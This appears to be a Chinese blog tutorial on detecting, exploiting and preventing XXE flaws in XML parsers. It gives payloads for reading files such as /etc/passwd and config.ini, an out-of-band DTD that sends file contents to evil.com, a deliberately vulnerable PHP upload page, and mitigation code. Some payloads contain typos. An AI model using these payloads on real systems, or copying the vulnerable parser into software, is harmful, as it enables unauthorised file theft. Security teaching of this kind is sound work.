XXE漏洞的挖掘方法与防护 常见的漏洞类型

XXE漏洞的挖掘方法与防护 要了解xxe漏洞,那么一定得先明白基础知识,了解xml文档的基础组成
你的Web应用是否存在XXE漏洞?
如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击。XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它

1.简单挖掘方法

XXE漏洞详解 XXE漏洞是什么 XXE漏洞如何防范

提交POST请求XML文件

提交一个POST请求,请求头加上Content-type:application/xml

同时添加测试代码

<?xml version="1.0"encoding="utf-8"?>
 
<test>cat</test>

通过OOB(Out-of-band)方法远程访问文件测试

1.   自建一个网站开启80端口

2.   在测试网站提交payload,如下

<?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">]>   <GeneralSearch>&dtgmlf6ent;</GeneralSearch>

3.查看网站返回内容

4.查看自建服务器访问日志,是否有DTD文件等请求

2.确认XXE漏洞

出于演示的目的,我们将用到一个Acunetix维护的demo站点,这个站点就是: http://testhtml5.vulnweb.com/。这个站点可用于测试Acunetix web扫描器的功能。 访问 http://testhtml5.vulnweb.com/ 站点,点击 ‘Login’下面的 ‘Forgot Password’ 链接。注意观察应用程序怎样使用XML传输数据,过程如下图所示:

请求:

XXE漏洞的挖掘方法与防护

响应:

XXE漏洞的挖掘方法与防护

观察上面的请求与响应,我们可以看到,应用程序正在解析XML内容,接受特定的输入,然后将其呈现给用户。为了测试验证XML解析器确实正在解析和执行我们自定义的XML内容,我们发送如下的请求

修改后的请求和响应:

XXE漏洞的挖掘方法与防护

如上图所示,我们在上面的请求中定义了一个名为myentity、值为’testing’的实体。 响应报文清晰地展示了解析器已经解析了我们发送的XML实体,然后并将实体内容呈现出来了。 由此,我们可以确认,这个应用程序存在XXE漏洞

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?content=%file;'>">
 %payload;
<?xml version="1.0" encoding="utf-8"?>
 
 <!DOCTYPE root[  
 
 <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">  
 
 <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">  
 
 %dtd;    
 
 %send;]>
 
 <root></root>

3.寻找XXE

1.检测xml是否被解析

 
<?xml version="1.0" encoding="ISO-8859-1"?>
<Prod>
<Prod>
<Type>abc</type>
<name>Bugcrowd</name>
<id>21</id>
</Prod>
</Prod>

2.检测是否支持外部实体解析

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://YOURIP/TEST.ext" >]>
<Prod>
<Prod>
<Type>abc</type>
<name>Bugcrowd</name>
<id>&xxe</id>
</Prod>
</Prod>

4.xxe 注入利用步骤

在用户可控的XML数据里面将恶意内容写入到实体中,即可导致任意文件读取,系统命令执行等危害。

(1)测试是否允许外部实体引用

<?xml version="1.0" encoding="utf-8"?>
 
<!DOCTYPE root[
 
<!ELEMENT root (data)>
 
<!ELEMENT data (#PCDATA)>
 
<!ENTITY var "tzuxung">
 
]>
 
<root>
 
    <data>&var;</data>
 
</root>

(2)任意文件读取

<?xml version="1.0" encoding="utf-8"?>
 
<!DOCTYPE root[
 
<!ELEMENT root (data)>
 
<!ELEMENT data (#PCDATA)>
 
<!ENTITY var SYSTEM "file:///etc/passwd">
 
]>
 
<root>
 
    <data>&var;</data>
 
</root>

(3)通过PHP://过滤器读取

<?xml version="1.0" encoding="utf-8"?>
 
<!DOCTYPE root[
 
<!ELEMENT root (data)>
 
<!ELEMENT data (#PCDATA)>
 
<!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php">
 
]>
 
<root>
 
    <data>&var;</data>
 
</root>

(4)xxe注入测试代码

xxe.php是一个存在XXE注入漏洞的简单页面

<html>
 
<body>
 
<h1>XXE Example</h1>
 
<form method="post" enctype="multipart/form-data">
 
    <label for="file">XML File:</label>
 
    <input type="file" name="file" id="file">
 
    <input type="submit" name="submit" value="Upload">
 
</form>
 
 
 
<h1>Result</h1>
 
<?php
 
    if( isset($_FILES["file"])){
 
        $doc = new DOMDocument();
 
        $doc->validateOnParse = true;
 
        $doc->Load($_FILES["file"]["tmp_name"]);
 
        $tags = $doc->getElementsByTagName("data");
 
        foreach($tags as $tag) {
 
            echo "<pre>" . $tag->nodeValue . "</pre>\n";
 
        }
 
 
 
    } else {
 
        echo "<h3>No file was selected for upload.</h3>";
 
    }
 
?>
 
</body>
 
</html>

xxe自动化注入检查工具

https://github.com/enjoiz/XXEinjector

XXE防御

1.使用开发语言提供的禁用外部实体的方法

PHP:
 
libxml_disable_entity_loader(true);
JAVA:
 
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
 
dbf.setExpandEntityReferences(false);
Python:
 
from lxml import etree
 
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的XML数据

 对变量:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC进行过滤.

例如,让我们来试着定义一个新的自定义实体“harmless”。

<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>

现在,包含这个实体定义的XML文档可以在任何允许的地方引用&harmless;实体。

<?xml version="1.0"?>
 
<!DOCTYPE results [<!ENTITY harmless "completely harmless">]>
 
<results>
 
    <result>This result is &harmless;</result>
 
</results>

XML解析器,例如PHP DOM,在解析这段XML时,会在加载完文档后立即处理这个自定义实体。因此,请求相关文本时,会得到如下的返回:

This result is completely harmless

下面的这个就肯定不是无害的输入:

<?xml version="1.0"?>
 
<!DOCTYPE results [<!ENTITY harmless SYSTEM
 
"file:///var/www/config.ini">]>
 
<results>
 
    <result>&harmless;</result>
 
</results>

3.检查所使用的底层xml解析库,默认禁止外部实体的解析

4.使用第三方应用代码及时升级补丁

5.同时增强对系统的监控,防止此问题被人利用

对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数

<?php
 
libxml_disable_entity_loader(true);
 
?>

以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:

<?php
 
// with the XMLReader functionality:
 
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
 
// with the DOM functionality:
 
$dom = new DOMDocument();
 
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
 
?>>

from